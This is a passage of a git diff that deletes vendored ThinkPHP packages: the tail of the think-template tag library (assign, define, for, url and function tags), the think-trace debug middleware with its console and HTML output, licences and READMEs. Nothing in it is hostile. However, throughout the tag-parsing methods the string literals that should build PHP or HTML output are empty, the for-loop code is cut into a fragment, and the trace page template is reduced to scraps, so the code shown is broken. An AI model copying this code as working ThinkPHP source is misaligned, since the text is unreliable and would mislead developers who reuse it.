$this->autoBuildVar($name); - $name = 'isset(' . $name . ')'; - $parseStr .= ''; - $endStr = ''; - } - - // 文件方式导入 - $array = explode(',', $file); - - foreach ($array as $val) { - $type = strtolower(substr(strrchr($val, '.'), 1)); - switch ($type) { - case 'js': - $parseStr .= ''; - break; - case 'css': - $parseStr .= ''; - break; - case 'php': - $parseStr .= ''; - break; - } - } - - return $parseStr . $endStr; - } - - /** - * assign标签解析 - * 在模板中给某个变量赋值 支持变量赋值 - * 格式: {assign name="" value="" /} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagAssign(array $tag, string $content): string - { - $name = $this->autoBuildVar($tag['name']); - $flag = substr($tag['value'], 0, 1); - - if ('$' == $flag || ':' == $flag) { - $value = $this->autoBuildVar($tag['value']); - } else { - $value = '\'' . $tag['value'] . '\''; - } - - $parseStr = ''; - - return $parseStr; - } - - /** - * define标签解析 - * 在模板中定义常量 支持变量赋值 - * 格式: {define name="" value="" /} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagDefine(array $tag, string $content): string - { - $name = '\'' . $tag['name'] . '\''; - $flag = substr($tag['value'], 0, 1); - - if ('$' == $flag || ':' == $flag) { - $value = $this->autoBuildVar($tag['value']); - } else { - $value = '\'' . $tag['value'] . '\''; - } - - $parseStr = ''; - - return $parseStr; - } - - /** - * for标签解析 - * 格式: - * {for start="" end="" comparison="" step="" name=""} - * content - * {/for} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagFor(array $tag, string $content): string - { - //设置默认值 - $start = 0; - $end = 0; - $step = 1; - $comparison = 'lt'; - $name = 'i'; - $rand = rand(); //添加随机数,防止嵌套变量冲突 - - //获取属性 - foreach ($tag as $key => $value) { - $value = trim($value); - $flag = substr($value, 0, 1); - if ('$' == $flag || ':' == $flag) { - $value = $this->autoBuildVar($value); - } - - switch ($key) { - case 'start': - $start = $value; - break; - case 'end': - $end = $value; - break; - case 'step': - $step = $value; - break; - case 'comparison': - $comparison = $value; - break; - case 'name': - $name = $value; - break; - } - } - - $parseStr = 'parseCondition('$' . $name . ' ' . $comparison . ' $__FOR_END_' . $rand . '__') . ';$' . $name . '+=' . $step . '){ ?>'; - $parseStr .= $content; - $parseStr .= ''; - - return $parseStr; - } - - /** - * url函数的tag标签 - * 格式:{url link="模块/控制器/方法" vars="参数" suffix="true或者false 是否带有后缀" domain="true或者false 是否携带域名" /} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagUrl(array $tag, string $content): string - { - $url = isset($tag['link']) ? $tag['link'] : ''; - $vars = isset($tag['vars']) ? $tag['vars'] : ''; - $suffix = isset($tag['suffix']) ? $tag['suffix'] : 'true'; - $domain = isset($tag['domain']) ? $tag['domain'] : 'false'; - - return ''; - } - - /** - * function标签解析 匿名函数,可实现递归 - * 使用: - * {function name="func" vars="$data" call="$list" use="&$a,&$b"} - * {if is_array($data)} - * {foreach $data as $val} - * {~func($val) /} - * {/foreach} - * {else /} - * {$data} - * {/if} - * {/function} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagFunction(array $tag, string $content): string - { - $name = !empty($tag['name']) ? $tag['name'] : 'func'; - $vars = !empty($tag['vars']) ? $tag['vars'] : ''; - $call = !empty($tag['call']) ? $tag['call'] : ''; - $use = ['&$' . $name]; - - if (!empty($tag['use'])) { - foreach (explode(',', $tag['use']) as $val) { - $use[] = '&' . ltrim(trim($val), '&'); - } - } - - $parseStr = '' . $content . '' : '?>'; - - return $parseStr; - } -} diff --git a/vendor/topthink/think-trace/.gitignore b/vendor/topthink/think-trace/.gitignore deleted file mode 100644 index 485dee6..0000000 --- a/vendor/topthink/think-trace/.gitignore +++ /dev/null @@ -1 +0,0 @@ -.idea diff --git a/vendor/topthink/think-trace/LICENSE b/vendor/topthink/think-trace/LICENSE deleted file mode 100644 index 261eeb9..0000000 --- a/vendor/topthink/think-trace/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/topthink/think-trace/README.md b/vendor/topthink/think-trace/README.md deleted file mode 100644 index 6ed63ec..0000000 --- a/vendor/topthink/think-trace/README.md +++ /dev/null @@ -1,15 +0,0 @@ -# think-trace - -用于ThinkPHP6+的页面Trace扩展,支持Html页面和浏览器控制台两种方式输出。 - -## 安装 - -~~~ -composer require topthink/think-trace -~~~ - -## 配置 - -安装后config目录下会自带trace.php配置文件。 - -type参数用于指定trace类型,支持html和console两种方式。 \ No newline at end of file diff --git a/vendor/topthink/think-trace/composer.json b/vendor/topthink/think-trace/composer.json deleted file mode 100644 index 5af5854..0000000 --- a/vendor/topthink/think-trace/composer.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "name": "topthink/think-trace", - "description": "thinkphp debug trace", - "license": "Apache-2.0", - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "require": { - "php": ">=7.1.0", - "topthink/framework": "^6.0.0" - }, - "autoload": { - "psr-4": { - "think\\trace\\": "src" - } - }, - "extra": { - "think":{ - "services":[ - "think\\trace\\Service" - ], - "config":{ - "trace": "src/config.php" - } - } - }, - "minimum-stability": "dev" -} diff --git a/vendor/topthink/think-trace/src/Console.php b/vendor/topthink/think-trace/src/Console.php deleted file mode 100644 index 179d4ea..0000000 --- a/vendor/topthink/think-trace/src/Console.php +++ /dev/null @@ -1,173 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); -namespace think\trace; - -use think\App; -use think\Response; - -/** - * 浏览器调试输出 - */ -class Console -{ - protected $config = [ - 'tabs' => ['base' => '基本', 'file' => '文件', 'info' => '流程', 'notice|error' => '错误', 'sql' => 'SQL', 'debug|log' => '调试'], - ]; - - // 实例化并传入参数 - public function __construct(array $config = []) - { - $this->config = array_merge($this->config, $config); - } - - /** - * 调试输出接口 - * @access public - * @param Response $response Response对象 - * @param array $log 日志信息 - * @return string|bool - */ - public function output(App $app, Response $response, array $log = []) - { - $request = $app->request; - $contentType = $response->getHeader('Content-Type'); - - if ($request->isJson() || $request->isAjax()) { - return false; - } elseif (!empty($contentType) && strpos($contentType, 'html') === false) { - return false; - } elseif ($response->getCode() == 204) { - return false; - } - - // 获取基本信息 - $runtime = number_format(microtime(true) - $app->getBeginTime(), 10, '.', ''); - $reqs = $runtime > 0 ? number_format(1 / $runtime, 2) : '∞'; - $mem = number_format((memory_get_usage() - $app->getBeginMem()) / 1024, 2); - - if ($request->host()) { - $uri = $request->protocol() . ' ' . $request->method() . ' : ' . $request->url(true); - } else { - $uri = 'cmd:' . implode(' ', $_SERVER['argv']); - } - - // 页面Trace信息 - $base = [ - '请求信息' => date('Y-m-d H:i:s', $request->time() ?: time()) . ' ' . $uri, - '运行时间' => number_format((float) $runtime, 6) . 's [ 吞吐率:' . $reqs . 'req/s ] 内存消耗:' . $mem . 'kb 文件加载:' . count(get_included_files()), - '查询信息' => $app->db->getQueryTimes() . ' queries', - '缓存信息' => $app->cache->getReadTimes() . ' reads,' . $app->cache->getWriteTimes() . ' writes', - ]; - - if (isset($app->session)) { - $base['会话信息'] = 'SESSION_ID=' . $app->session->getId(); - } - - $info = $this->getFileInfo(); - - // 页面Trace信息 - $trace = []; - foreach ($this->config['tabs'] as $name => $title) { - $name = strtolower($name); - switch ($name) { - case 'base': // 基本信息 - $trace[$title] = $base; - break; - case 'file': // 文件信息 - $trace[$title] = $info; - break; - default: // 调试信息 - if (strpos($name, '|')) { - // 多组信息 - $names = explode('|', $name); - $result = []; - foreach ($names as $item) { - $result = array_merge($result, $log[$item] ?? []); - } - $trace[$title] = $result; - } else { - $trace[$title] = $log[$name] ?? ''; - } - } - } - - //输出到控制台 - $lines = ''; - foreach ($trace as $type => $msg) { - $lines .= $this->console($type, empty($msg) ? [] : $msg); - } - $js = << -{$lines} - -JS; - return $js; - } - - protected function console(string $type, $msg) - { - $type = strtolower($type); - $trace_tabs = array_values($this->config['tabs']); - $line = []; - $line[] = ($type == $trace_tabs[0] || '调试' == $type || '错误' == $type) - ? "console.group('{$type}');" - : "console.groupCollapsed('{$type}');"; - - foreach ((array) $msg as $key => $m) { - switch ($type) { - case '调试': - $var_type = gettype($m); - if (in_array($var_type, ['array', 'string'])) { - $line[] = "console.log(" . json_encode($m) . ");"; - } else { - $line[] = "console.log(" . json_encode(var_export($m, true)) . ");"; - } - break; - case '错误': - $msg = str_replace("\n", '\n', addslashes(is_scalar($m) ? $m : json_encode($m))); - $style = 'color:#F4006B;font-size:14px;'; - $line[] = "console.error(\"%c{$msg}\", \"{$style}\");"; - break; - case 'sql': - $msg = str_replace("\n", '\n', addslashes($m)); - $style = "color:#009bb4;"; - $line[] = "console.log(\"%c{$msg}\", \"{$style}\");"; - break; - default: - $m = is_string($key) ? $key . ' ' . $m : $key + 1 . ' ' . $m; - $msg = json_encode($m); - $line[] = "console.log({$msg});"; - break; - } - } - $line[] = "console.groupEnd();"; - return implode(PHP_EOL, $line); - } - - /** - * 获取文件加载信息 - * @access protected - * @return integer|array - */ - protected function getFileInfo() - { - $files = get_included_files(); - $info = []; - - foreach ($files as $key => $file) { - $info[] = $file . ' ( ' . number_format(filesize($file) / 1024, 2) . ' KB )'; - } - - return $info; - } -} diff --git a/vendor/topthink/think-trace/src/Html.php b/vendor/topthink/think-trace/src/Html.php deleted file mode 100644 index bcb2f50..0000000 --- a/vendor/topthink/think-trace/src/Html.php +++ /dev/null @@ -1,126 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); -namespace think\trace; - -use think\App; -use think\Response; - -/** - * 页面Trace调试 - */ -class Html -{ - protected $config = [ - 'file' => '', - 'tabs' => ['base' => '基本', 'file' => '文件', 'info' => '流程', 'notice|error' => '错误', 'sql' => 'SQL', 'debug|log' => '调试'], - ]; - - // 实例化并传入参数 - public function __construct(array $config = []) - { - $this->config = array_merge($this->config, $config); - } - - /** - * 调试输出接口 - * @access public - * @param App $app 应用实例 - * @param Response $response Response对象 - * @param array $log 日志信息 - * @return bool|string - */ - public function output(App $app, Response $response, array $log = []) - { - $request = $app->request; - $contentType = $response->getHeader('Content-Type'); - - if ($request->isJson() || $request->isAjax()) { - return false; - } elseif (!empty($contentType) && strpos($contentType, 'html') === false) { - return false; - } elseif ($response->getCode() == 204) { - return false; - } - - // 获取基本信息 - $runtime = number_format(microtime(true) - $app->getBeginTime(), 10, '.', ''); - $reqs = $runtime > 0 ? number_format(1 / $runtime, 2) : '∞'; - $mem = number_format((memory_get_usage() - $app->getBeginMem()) / 1024, 2); - - // 页面Trace信息 - if ($request->host()) { - $uri = $request->protocol() . ' ' . $request->method() . ' : ' . $request->url(true); - } else { - $uri = 'cmd:' . implode(' ', $_SERVER['argv']); - } - - $base = [ - '请求信息' => date('Y-m-d H:i:s', $request->time() ?: time()) . ' ' . $uri, - '运行时间' => number_format((float) $runtime, 6) . 's [ 吞吐率:' . $reqs . 'req/s ] 内存消耗:' . $mem . 'kb 文件加载:' . count(get_included_files()), - '查询信息' => $app->db->getQueryTimes() . ' queries', - '缓存信息' => $app->cache->getReadTimes() . ' reads,' . $app->cache->getWriteTimes() . ' writes', - ]; - - if (isset($app->session)) { - $base['会话信息'] = 'SESSION_ID=' . $app->session->getId(); - } - - $info = $this->getFileInfo(); - - // 页面Trace信息 - $trace = []; - foreach ($this->config['tabs'] as $name => $title) { - $name = strtolower($name); - switch ($name) { - case 'base': // 基本信息 - $trace[$title] = $base; - break; - case 'file': // 文件信息 - $trace[$title] = $info; - break; - default: // 调试信息 - if (strpos($name, '|')) { - // 多组信息 - $names = explode('|', $name); - $result = []; - foreach ($names as $item) { - $result = array_merge($result, $log[$item] ?? []); - } - $trace[$title] = $result; - } else { - $trace[$title] = $log[$name] ?? ''; - } - } - } - // 调用Trace页面模板 - ob_start(); - include $this->config['file'] ?: __DIR__ . '/tpl/page_trace.tpl'; - return ob_get_clean(); - } - - /** - * 获取文件加载信息 - * @access protected - * @return integer|array - */ - protected function getFileInfo() - { - $files = get_included_files(); - $info = []; - - foreach ($files as $key => $file) { - $info[] = $file . ' ( ' . number_format(filesize($file) / 1024, 2) . ' KB )'; - } - - return $info; - } -} diff --git a/vendor/topthink/think-trace/src/Service.php b/vendor/topthink/think-trace/src/Service.php deleted file mode 100644 index 3e78ecc..0000000 --- a/vendor/topthink/think-trace/src/Service.php +++ /dev/null @@ -1,21 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\trace; - -use think\Service as BaseService; - -class Service extends BaseService -{ - public function register() - { - $this->app->middleware->add(TraceDebug::class); - } -} diff --git a/vendor/topthink/think-trace/src/TraceDebug.php b/vendor/topthink/think-trace/src/TraceDebug.php deleted file mode 100644 index 5ed9cbf..0000000 --- a/vendor/topthink/think-trace/src/TraceDebug.php +++ /dev/null @@ -1,109 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\trace; - -use Closure; -use think\App; -use think\Config; -use think\event\LogWrite; -use think\Request; -use think\Response; -use think\response\Redirect; - -/** - * 页面Trace中间件 - */ -class TraceDebug -{ - - /** - * Trace日志 - * @var array - */ - protected $log = []; - - /** - * 配置参数 - * @var array - */ - protected $config = []; - - /** @var App */ - protected $app; - - public function __construct(App $app, Config $config) - { - $this->app = $app; - $this->config = $config->get('trace'); - } - - /** - * 页面Trace调试 - * @access public - * @param Request $request - * @param Closure $next - * @return void - */ - public function handle($request, Closure $next) - { - $debug = $this->app->isDebug(); - - // 注册日志监听 - if ($debug) { - $this->log = []; - $this->app->event->listen(LogWrite::class, function ($event) { - if (empty($this->config['channel']) || $this->config['channel'] == $event->channel) { - $this->log = array_merge_recursive($this->log, $event->log); - } - }); - } - - $response = $next($request); - - // Trace调试注入 - if ($debug) { - $data = $response->getContent(); - $this->traceDebug($response, $data); - $response->content($data); - } - - return $response; - } - - public function traceDebug(Response $response, &$content) - { - $config = $this->config; - $type = $config['type'] ?? 'Html'; - - unset($config['type']); - - $trace = App::factory($type, '\\think\\trace\\', $config); - - if ($response instanceof Redirect) { - //TODO 记录 - } else { - $log = $this->app->log->getLog($config['channel'] ?? ''); - $log = array_merge_recursive($this->log, $log); - $output = $trace->output($this->app, $response, $log); - if (is_string($output)) { - // trace调试信息注入 - $pos = strripos($content, ''); - if (false !== $pos) { - $content = substr($content, 0, $pos) . $output . substr($content, $pos); - } else { - $content = $content . $output; - } - } - } - } -} diff --git a/vendor/topthink/think-trace/src/config.php b/vendor/topthink/think-trace/src/config.php deleted file mode 100644 index fad2392..0000000 --- a/vendor/topthink/think-trace/src/config.php +++ /dev/null @@ -1,10 +0,0 @@ - 'Html', - // 读取的日志通道名 - 'channel' => '', -]; diff --git a/vendor/topthink/think-trace/src/tpl/page_trace.tpl b/vendor/topthink/think-trace/src/tpl/page_trace.tpl deleted file mode 100644 index 6b1b9a1..0000000 --- a/vendor/topthink/think-trace/src/tpl/page_trace.tpl +++ /dev/null @@ -1,71 +0,0 @@ -
    - - -
    -
    -
    - -
    - - diff --git a/vendor/topthink/think-view/.gitignore b/vendor/topthink/think-view/.gitignore deleted file mode 100644 index 485dee6..0000000 --- a/vendor/topthink/think-view/.gitignore +++ /dev/null @@ -1 +0,0 @@ -.idea diff --git a/vendor/topthink/think-view/LICENSE b/vendor/topthink/think-view/LICENSE deleted file mode 100644 index 8dada3e..0000000 --- a/vendor/topthink/think-view/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "{}" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright {yyyy} {name of copyright owner} - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/topthink/think-view/README.md b/vendor/topthink/think-view/README.md deleted file mode 100644 index 4e52def..0000000 --- a/vendor/topthink/think-view/README.md +++ /dev/null @@ -1,36 +0,0 @@ -# think-view - -ThinkPHP6.0 Think-Template模板引擎驱动 - - -## 安装 - -~~~php -composer require topthink/think-view -~~~ - -## 用法示例 - -本扩展不能单独使用,依赖ThinkPHP6.0+ - -首先配置config目录下的template.php配置文件,然后可以按照下面的用法使用。 - -~~~php - -use think\facade\View; - -// 模板变量赋值和渲染输出 -View::assign(['name' => 'think']) - // 输出过滤 - ->filter(function($content){ - return str_replace('search', 'replace', $content); - }) - // 读取模板文件渲染输出 - ->fetch('index'); - - -// 或者使用助手函数 -view('index', ['name' => 'think']); -~~~ - -具体的模板引擎配置请参考think-template库。 \ No newline at end of file diff --git a/vendor/topthink/think-view/composer.json 